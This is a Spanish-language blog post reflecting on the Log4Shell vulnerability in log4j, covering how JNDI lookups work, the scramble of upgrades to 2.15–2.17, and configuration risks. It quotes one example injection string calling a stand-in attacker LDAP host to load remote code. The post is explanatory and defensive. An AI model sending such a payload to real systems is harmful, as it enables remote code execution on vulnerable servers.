Reflexiones log4shell

Todo el mundo está desesperado, toca opinar de log4shell.

Breve explicación

 

Considerá que aunque he sabido programar en java no soy javero y menos con sistemas medianamente complejos que utilizan log4j. Mejores explicaciones hay por todos lados, esto es lo más corto y útil que puedo producir, pero quizás no sea del todo cierto.

Log4j es un framework de logs de java. Recibe mensajes y de algún modo los envía a algún lado, archivo, syslog, lo que sea. En el medio le hace transformaciones como agregar metadata. Por ejemplo para agregar la versión de java, se hace así:

 

${java:version}

 

Lo cual es completamente útil y legítimo. También es útil y legítimo utilizar JNDI (Java Naming and Directory Interface) que puede consultar al menos a LDAP y traerse un objeto. Ya se empieza a poner turbio. 

Un atacante puede suponer qué es lo que se está dejando en el log, por ejemplo "username" y poner como "username" algo como:

 

${jndi:ldap:servidoratacante.com/exploit}

 

No me quiero meter en detalles pues las URLs que he visto son un poco distintas. Dejo esa pues me armé una POC con jetty y log4j 2.14 y marshalsec como ldap y hay hits. Quizás no sirva para explotar pero si para detectar la versión vulnerable.

Volviendo a la URL, de algún modo se bajaría una clase compilada java con el comportamiento deseado por el atacante. No me queda aun del todo claro si lo baja directamente o es una referencia a otra url, pero en función de mis reflexiones es irrelevante. Si más adelante le dedico tiempo y lo resuelvo bien, cuando haya pasado la tormenta publicaré.

 

Reflexión: respuesta al incidente

Seguramente ocurrió con otras vulnerabilidades, pero es la primera vez que lo noto, el efecto "double-tap strike".

Le he asociado este nombre pues de algún modo lo veo parecido a un ataque y su repetición, el primero para atraer a los equipos de respuesta y el segundo para los equipos de respuesta, dejando de lado que acá no hay ataque, es sólo una vulnerabilidad, pero el requerimiento de las áreas de ciberseguridad a las de desarrollo e infraestructura para que la solucionen bien puede verse como tal.

Ha ocurrido que la gente de devops ha salido corriendo a actualizar a 2.15, lo cual implica trabajo, sólo para encontrarse con que inmediatamente debe pasar a 2.16 y mientras escribo esto a 2.17. Aunque es verdad que el impacto de analizar el cambio de 2.x a 2.15 o 2.16 ya está hecho, de todos modos es un retrabajo.

Lo que hay que tener en perspectiva, es que es más importante salir de 2.x que llegar a 2.16 o 2.17, pues las vulnerabilidades de 2.15 y 2.16 tienen mucho menor impacto que las de 2.x... por ahora.

 

Reflexión: la configuración

El haber actualizado no alcanza, pues no hay una vulnerabilidad en los mecanismos que se están utilizando, sólo que la configuración por defecto tiene esos mecanismos habilitados. O sea, debe haber alguien que está utilizando de modo legítimo:

 ${jndi:ldap:servidor.legitimo/funcionalidad}

 

De modo tal que al pasar a 2.15 - 2.17 va a tener que cambiar la configuración para que le siga funcionando.

A menos que hubiera cambiado antes la configuración de modo explícito, en cuyo caso en la 2.15 - 2.17 va a seguir activo el bug, ¿no?

Entonces, aunque claramente es correcto actualizar, la realidad definitiva está en probar o al menos buscar opciones de configuración que activen la vulnerabilidad. 

Esto se reduce a  ¿qué pasa si le estás dando un uso legítimo a esa funcionalidad?

Quizás la mejor solución sea como el tratamiento de eval() de varios lenguajes, esto es, pedirle al intérprete que tome texto como código y lo ejecute: No usarlo e implementar otra forma para resolver tu requerimiento.

 

Actualización

 

Con la versión 2.17 se eliminó completamente la funcionalidad, no hay configuración que valga.

https://logging.apache.org/log4j/2.x/